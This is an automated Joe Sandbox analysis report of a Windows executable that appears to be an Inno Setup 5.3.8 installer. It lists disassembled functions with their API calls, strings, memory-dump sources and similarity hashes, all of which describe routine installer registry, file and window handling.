Function 0042F000 Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0042F01C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 4879652ed21e09187649c90db3372a0843ac27ece4ea50845dfd7517ab6f9ddd
Instruction ID: a3f2727a8225cce52aa332fac080a49b8e88e69fc98919c7d6858de85465de56
Opcode Fuzzy Hash: 4879652ed21e09187649c90db3372a0843ac27ece4ea50845dfd7517ab6f9ddd
Instruction Fuzzy Hash: 5DD09E7121011D6B9B00DE99E840C6B33AD9B88710BA0C929F959C7246D634ED5197B9

Function 0046B374 Relevance: 72.2, APIs: 1, Strings: 40, Instructions: 480
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0046B160: RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,?,E"G,0049715C,?,0046B477,?,00000000,0046B9CE,?,_is1), ref: 0046B183

RegCloseKey.ADVAPI32(?,0046B9D5,?,_is1,?,Software\Microsoft\Windows\CurrentVersion\Uninstall\,00000000,0046BA20,?,?,00000001,0049715C), ref: 0046B9C8

Strings

InstallLocation, xrefs: 0046B4BA
Inno Setup: Setup Version, xrefs: 0046B465
Inno Setup: User Info: Serial, xrefs: 0046B5EC
Inno Setup: Language, xrefs: 0046B613
Readme, xrefs: 0046B7B8
_is1, xrefs: 0046B3D0
Inno Setup: Selected Components, xrefs: 0046B544
Comments, xrefs: 0046B7F2
Inno Setup: Deselected Components, xrefs: 0046B563
UninstallString, xrefs: 0046B6B3
QuietUninstallString, xrefs: 0046B6ED
URLInfoAbout, xrefs: 0046B744
DisplayVersion, xrefs: 0046B70A
NoRepair, xrefs: 0046B83A
DisplayName, xrefs: 0046B65C
Publisher, xrefs: 0046B727
DisplayIcon, xrefs: 0046B679
ModifyPath, xrefs: 0046B812
Inno Setup: Icon Group, xrefs: 0046B4C9
Software\Microsoft\Windows\CurrentVersion\Uninstall\, xrefs: 0046B3CA
HelpLink, xrefs: 0046B77E
Inno Setup: User, xrefs: 0046B506
HelpTelephone, xrefs: 0046B761
" /SILENT, xrefs: 0046B6E0
Inno Setup: Setup Type, xrefs: 0046B525
Inno Setup: App Path, xrefs: 0046B49A
Inno Setup: User Info: Organization, xrefs: 0046B5D7
Contact, xrefs: 0046B7D5
Inno Setup: User Info: Name, xrefs: 0046B5C2
NoModify, xrefs: 0046B826
MinorVersion, xrefs: 0046B897
Inno Setup: Deselected Tasks, xrefs: 0046B5AA
URLUpdateInfo, xrefs: 0046B79B
5.3.8 (a), xrefs: 0046B46A
InstallDate, xrefs: 0046B859
EstimatedSize, xrefs: 0046B945
RegisterPreviousData, xrefs: 0046B97E
Inno Setup: No Icons, xrefs: 0046B4E7
MajorVersion, xrefs: 0046B885
Inno Setup: Selected Tasks, xrefs: 0046B58B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseValue
String ID: " /SILENT$5.3.8 (a)$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$EstimatedSize$HelpLink$HelpTelephone$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: Language$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: Setup Version$Inno Setup: User$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$InstallDate$InstallLocation$MajorVersion$MinorVersion$ModifyPath$NoModify$NoRepair$Publisher$QuietUninstallString$Readme$RegisterPreviousData$Software\Microsoft\Windows\CurrentVersion\Uninstall\$URLInfoAbout$URLUpdateInfo$UninstallString$_is1
API String ID: 3132538880-149600739
Opcode ID: 7a485ba5c120d5bf4778917535b31d15dd35e2de5d88d4153f3f53de005cd791
Instruction ID: 4f67baa3a2fd884d9b4d1cf0cacc8b2d5039cb129539253d0906c5133a2846cc
Opcode Fuzzy Hash: 7a485ba5c120d5bf4778917535b31d15dd35e2de5d88d4153f3f53de005cd791
Instruction Fuzzy Hash: 02122234A001089FDB04DB55D895ADE73F5EB49304F60857BE801AB365EB78BE81CB9D

Function 0048D920 Relevance: 56.4, APIs: 16, Strings: 16, Instructions: 431
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,00000000,0048DE15,?,?,?,?,00000000,00000000,00000000), ref: 0048D960
FindWindowA.USER32(00000000,00000000), ref: 0048D991

Strings

CHARTOOEMBUFF, xrefs: 0048DDB6
FREEDLL, xrefs: 0048DD0C
CREATEMUTEX, xrefs: 0048DD41
SENDBROADCASTNOTIFYMESSAGE, xrefs: 0048DBCF
POSTBROADCASTMESSAGE, xrefs: 0048DB7B
FINDWINDOWBYCLASSNAME, xrefs: 0048D96D
SENDBROADCASTMESSAGE, xrefs: 0048DB2D
SLEEP, xrefs: 0048D94A
POSTMESSAGE, xrefs: 0048DA3B
SENDNOTIFYMESSAGE, xrefs: 0048DA97
FINDWINDOWBYWINDOWNAME, xrefs: 0048D9A9
LOADDLL, xrefs: 0048DC23
SENDMESSAGE, xrefs: 0048D9E5
OEMTOCHARBUFF, xrefs: 0048DD73
CALLDLLPROC, xrefs: 0048DC85
REGISTERWINDOWMESSAGE, xrefs: 0048DAF3

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FindSleepWindow
String ID: CALLDLLPROC$CHARTOOEMBUFF$CREATEMUTEX$FINDWINDOWBYCLASSNAME$FINDWINDOWBYWINDOWNAME$FREEDLL$LOADDLL$OEMTOCHARBUFF$POSTBROADCASTMESSAGE$POSTMESSAGE$REGISTERWINDOWMESSAGE$SENDBROADCASTMESSAGE$SENDBROADCASTNOTIFYMESSAGE$SENDMESSAGE$SENDNOTIFYMESSAGE$SLEEP
API String ID: 3078808852-3310373309
Opcode ID: 17dee4f659c4668a3db073dcf69d13a9f8100a4d9405007261e365ad52f75ee5
Instruction ID: c34dba77050094b4b62c581b6a1f7b1cd51bfa32b1ed48732df69847b59072e1
Opcode Fuzzy Hash: 17dee4f659c4668a3db073dcf69d13a9f8100a4d9405007261e365ad52f75ee5
Instruction Fuzzy Hash: EDC15BA0F006102BD714BA3E8C4251F569ADF9A704B61D93FB446EB7CACE7DDC06435A

Function 0047EA70 Relevance: 26.3, APIs: 9, Strings: 6, Instructions: 68
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0047EA81
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0047EA8E
GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 0047EA9C
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0047EAA4
GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 0047EAB0
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 0047EAD1
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 0047EAE4
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0047EAEA
GetSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 0047EB01

Strings

kernel32.dll, xrefs: 0047EA7C
GetSystemWow64DirectoryA, xrefs: 0047EACB
GetNativeSystemInfo, xrefs: 0047EA88
advapi32.dll, xrefs: 0047EADF
IsWow64Process, xrefs: 0047EA9E
RegDeleteKeyExA, xrefs: 0047EADA

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc$HandleInfoModuleSystem$CurrentNativeProcess
String ID: GetNativeSystemInfo$GetSystemWow64DirectoryA$IsWow64Process$RegDeleteKeyExA$advapi32.dll$kernel32.dll
API String ID: 2230631259-2623177817
Opcode ID: 0eb523028f8eb48073f20c6382e42c0c71a8b93fd368977a9a336fec99243c2f
Instruction ID: 95e86ad0917b0b419bfb9b08de75770eb1e9231142796ede94104b66a6cc5561
Opcode Fuzzy Hash: 0eb523028f8eb48073f20c6382e42c0c71a8b93fd368977a9a336fec99243c2f
Instruction Fuzzy Hash: 3C11E14060430194D620F3778C4AFEB1D488B4D328F188BFB684F6A293D67CF845C6AE

Function 00465710 Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 155
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,0046592A,?,?,00000001,00000000,00000000,00465945,?,00000000,00000000,?), ref: 00465913

Strings

Inno Setup: No Icons, xrefs: 004657FB
Inno Setup: Selected Components, xrefs: 00465832
Inno Setup: App Path, xrefs: 004657D2
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0046576F
Inno Setup: Deselected Components, xrefs: 00465854
Inno Setup: Deselected Tasks, xrefs: 004658A1
Inno Setup: Setup Type, xrefs: 00465822
Inno Setup: Icon Group, xrefs: 004657EE
Inno Setup: Selected Tasks, xrefs: 0046587F
Inno Setup: User Info: Organization, xrefs: 004658E2
Inno Setup: User Info: Name, xrefs: 004658CF
Inno Setup: User Info: Serial, xrefs: 004658F5
%s\%s_is1, xrefs: 0046578D

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1093091907
Opcode ID: ff4b5f5b09694f8e60ad05c6b2a5654adfdfaa362337e0b0ea75e2df74eca920
Instruction ID: f6af0d79caed7f17680e53a9f826e3af7b9dd2fcf11dd4bdaad6959135d6016d
Opcode Fuzzy Hash: ff4b5f5b09694f8e60ad05c6b2a5654adfdfaa362337e0b0ea75e2df74eca920
Instruction Fuzzy Hash: 1C51C470A00B08DBCB11EBA5D9527DEBBF5EF44314F5084BAE844A7391E738AE05CB59

Function 004237E4 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 98
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041F334: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041ED14,?,004237FF,00423B7C,0041ED14), ref: 0041F352

GetClassInfoA.USER32(00400000,004235EC), ref: 0042380F
RegisterClassA.USER32(00494630), ref: 00423827
GetSystemMetrics.USER32(00000000), ref: 00423849
GetSystemMetrics.USER32(00000001), ref: 00423858
SetWindowLongA.USER32(004105C0,000000FC,004235FC), ref: 004238B4
SendMessageA.USER32(004105C0,00000080,00000001,00000000), ref: 004238D5
GetSystemMenu.USER32(004105C0,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C,0041ED14), ref: 004238E0
DeleteMenu.USER32(00000000,0000F030,00000000,004105C0,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C,0041ED14), ref: 004238EF
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,004105C0,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 004238FC
DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,004105C0,00000000,00000000,00400000,00000000,00000000,00000000), ref: 00423912

Strings

5B, xrefs: 00423803, 00423884

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Menu$DeleteSystem$ClassMetrics$AllocInfoLongMessageRegisterSendVirtualWindow
String ID: 5B
API String ID: 183575631-3738334870
Opcode ID: e5b5147e0e34996107640ab488c5a955b3283bc40e3e9afea641ea9dff5fb6f0
Instruction ID: 4eea79998965153292ad411f177aff7c9d901da1d54039d3c3496ec011b6d66c
Opcode Fuzzy Hash: e5b5147e0e34996107640ab488c5a955b3283bc40e3e9afea641ea9dff5fb6f0
Instruction Fuzzy Hash: C53161B17402106AEB10AF65EC82F6A36989715709F11017BBA41AF2D7C67DED04876C

Function 004786B4 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(6FB90000,SHGetFolderPathA), ref: 004787B6

Strings

Failed to get version numbers of _shfoldr.dll, xrefs: 0047870C
_isetup\_shfoldr.dll, xrefs: 004786E6
SHFOLDERDLL, xrefs: 004786F3
Failed to get address of SHGetFolderPath function, xrefs: 004787C7
v*I, xrefs: 004786FD, 00478742, 0047872A, 00478732
shell32.dll, xrefs: 00478761
shfolder.dll, xrefs: 00478719, 00478752
SHGetFolderPathA, xrefs: 004787AB
Failed to load DLL "%s", xrefs: 00478799

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address of SHGetFolderPath function$Failed to get version numbers of _shfoldr.dll$Failed to load DLL "%s"$SHFOLDERDLL$SHGetFolderPathA$_isetup\_shfoldr.dll$shell32.dll$shfolder.dll$v*I
API String ID: 190572456-334234438
Opcode ID: be66341a320620e653f6c45c4751f4a3ce6152e8d6361f6d1450bbb32d09e8e0
Instruction ID: 4e79fbc02c44b613b3c49fc4f959da8ecdc300148f1290d7211daae813f9b9ff
Opcode Fuzzy Hash: be66341a320620e653f6c45c4751f4a3ce6152e8d6361f6d1450bbb32d09e8e0
Instruction Fuzzy Hash: 92313030A401099FCB00EB95D9869DEB7B5EB44344FA0847BE504E7751DB38AE05CB6D

Function 0042F040 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 90
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 0042F06F
GetFocus.USER32 ref: 0042F077
RegisterClassA.USER32(004947AC), ref: 0042F098
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,0042F16C,88000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0042F0D6
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000), ref: 0042F11C
ShowWindow.USER32(00000000,00000008,00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000,00000000,TWindowDisabler-Window), ref: 0042F12D
SetFocus.USER32(00000000,00000000,0042F14F,?,?,?,00000001,00000000,?,00456C22,00000000,00496628), ref: 0042F134

Strings

TWindowDisabler-Window, xrefs: 0042F0CF, 0042F115
(fI, xrefs: 0042F146, 0042F0FF, 0042F10C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$CreateFocus$ActiveClassRegisterShow
String ID: (fI$TWindowDisabler-Window
API String ID: 3167913817-2792019125
Opcode ID: 78bee34a2912ed172c18dee49d6077e526124c87938d1c18955716d3534fc76b
Instruction ID: 9a16d0d3a508250ca79586c259b8e8ef28b4afb6e22e0edeb3dc58e6f6f15fa9
Opcode Fuzzy Hash: 78bee34a2912ed172c18dee49d6077e526124c87938d1c18955716d3534fc76b
Instruction Fuzzy Hash: 78219571740710BAE210EB61DC02F2A76A4EB05B04FE2413BF604AB2D1D7B96D6486ED

Function 00451F18 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451FB1,?,?,?,?,00000000,?,00493D84), ref: 00451F38
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00451F3E
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451FB1,?,?,?,?,00000000,?,00493D84), ref: 00451F52
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00451F58

Strings

Wow64DisableWow64FsRedirection, xrefs: 00451F2E
kernel32.dll, xrefs: 00451F33, 00451F4D
Wow64RevertWow64FsRedirection, xrefs: 00451F48
shell32.dll, xrefs: 00451F84

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: f7c0bbadbe2ad3badbf53ef5fce9f4d858355e4c5679a6d3426dfe18ab7d658c
Instruction ID: 81d573f55135c680e4a59f3a7192893b7339b29e5684a8e1abbc8a7c2162d48b
Opcode Fuzzy Hash: f7c0bbadbe2ad3badbf53ef5fce9f4d858355e4c5679a6d3426dfe18ab7d658c
Instruction Fuzzy Hash: 7C01A271204340AEDB00AFB2AC43F567A68D755B69FA1443BF800A61E7D7BC6D09CA2D

Function 0046E548 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 263
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,0046E719,?,00000000,?,00000001,00000000,0046E8E7,?,00000000,?,00000000,?,0046EAA2), ref: 0046E6F5
FindClose.KERNEL32(000000FF,0046E720,0046E719,?,00000000,?,00000001,00000000,0046E8E7,?,00000000,?,00000000,?,0046EAA2,?), ref: 0046E713
FindNextFileA.KERNEL32(000000FF,?,00000000,0046E83B,?,00000000,?,00000001,00000000,0046E8E7,?,00000000,?,00000000,?,0046EAA2), ref: 0046E817
FindClose.KERNEL32(000000FF,0046E842,0046E83B,?,00000000,?,00000001,00000000,0046E8E7,?,00000000,?,00000000,?,0046EAA2,?), ref: 0046E835

Strings

sF, xrefs: 0046E79F, 0046E7A2
IF, xrefs: 0046E8D9, 0046E857, 0046E881, 0046E88F, 0046E8A7, 0046E86E, 0046E621, 0046E6C4, 0046E65C, 0046E673, 0046E681, 0046E638, 0046E641, 0046E6C7
sF, xrefs: 0046E58E, 0046E5A5

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Find$CloseFileNext
String ID: IF$sF$sF
API String ID: 2066263336-2713198477
Opcode ID: bdc8a216ea32f752e32f784e6c7f2b8329993d9c9193bfaa99fe67f2bf531f1b
Instruction ID: 1956227773dc9a3207c48d3214a08c53dea5f6dc60d2d07dcea37f7eb7c9428e
Opcode Fuzzy Hash: bdc8a216ea32f752e32f784e6c7f2b8329993d9c9193bfaa99fe67f2bf531f1b
Instruction Fuzzy Hash: 51B14E7490425D9FCF11DFA6C841ADEBBF9FF48304F5081AAE808A3291D7399A46CF65

Function 00478388 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004784FB,?,?,00000000,00496628,00000000,00000000,?,00493709,00000000,004938B2,?,00000000), ref: 0047841B
GetLastError.KERNEL32(00000000,00000000,00000000,004784FB,?,?,00000000,00496628,00000000,00000000,?,00493709,00000000,004938B2,?,00000000), ref: 00478424

Strings

REGDLL_EXE, xrefs: 00478498
Created temporary directory: , xrefs: 004783BD
\_RegDLL.tmp, xrefs: 00478488
\_setup64.tmp, xrefs: 004784B3
_isetup, xrefs: 00478406

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: Created temporary directory: $REGDLL_EXE$\_RegDLL.tmp$\_setup64.tmp$_isetup
API String ID: 1375471231-1421604804
Opcode ID: 2f58f4a6335a0c17868105c26391f8df94f1bb5d1e35185059783d74c9aaef99
Instruction ID: 72476a99e2161b40fb6ad914ec12a5a984e93f0563ae6b63b3bf3d0ef78a2194
Opcode Fuzzy Hash: 2f58f4a6335a0c17868105c26391f8df94f1bb5d1e35185059783d74c9aaef99
Instruction Fuzzy Hash: 43414874A102099BCB01EF95C886ADEB7B5FF44708F50857FE81477392DB789E058B58

Function 00430420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 23
registryclipboardthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClipboardFormatA.USER32(commdlg_help), ref: 00430428
RegisterClipboardFormatA.USER32(commdlg_FindReplace), ref: 00430437
GetCurrentThreadId.KERNEL32 ref: 00430451
GlobalAddAtomA.KERNEL32(00000000), ref: 00430472

Strings

WndProcPtr%.8X%.8X, xrefs: 00430463
commdlg_help, xrefs: 00430423
commdlg_FindReplace, xrefs: 00430432

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ClipboardFormatRegister$AtomCurrentGlobalThread
String ID: WndProcPtr%.8X%.8X$commdlg_FindReplace$commdlg_help
API String ID: 4130936913-2943970505
Opcode ID: 9d5ad1c4b2b611221956b3f2440e411d5c15eefed9c5540ccecf6c4608072bdc
Instruction ID: fb22d118f79b5a846d13fc81b00b6fe070184277f249aa4ff93a19b6649950be
Opcode Fuzzy Hash: 9d5ad1c4b2b611221956b3f2440e411d5c15eefed9c5540ccecf6c4608072bdc
Instruction Fuzzy Hash: 93F082704483408ED700EF65D802B197AE0EBA8318F014A7FB998A62E1D73A9601CB2F

Function 00453B24 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 155COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00000080,COMMAND.COM" /C ,?,00453D40,00453D40,00000031,00453D40,00000000), ref: 00453CCC
CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00000080,COMMAND.COM" /C ,?,00453D40,00453D40,00000031,00453D40), ref: 00453CD9

Part of subcall function 00453A90: WaitForInputIdle.USER32(00000001,00000032), ref: 00453ABC
Part of subcall function 00453A90: MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000000FF), ref: 00453ADE
Part of subcall function 00453A90: GetExitCodeProcess.KERNEL32(00000001,00000001), ref: 00453AED
